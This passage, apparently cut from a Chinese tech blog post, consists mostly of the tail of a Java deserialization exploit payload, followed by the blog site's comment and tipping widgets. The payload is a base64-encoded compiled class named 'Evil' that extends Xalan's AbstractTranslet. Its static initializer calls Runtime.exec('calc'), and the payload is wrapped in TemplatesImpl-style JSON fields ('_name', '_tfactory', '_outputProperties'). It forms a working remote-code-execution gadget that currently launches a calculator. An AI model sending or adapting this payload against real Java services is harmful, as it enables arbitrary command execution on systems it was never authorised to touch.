wdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ==\"],'_name':'xbb','_tfactory':{},\"_outputProperties\":{}}"}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

划水的小白白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值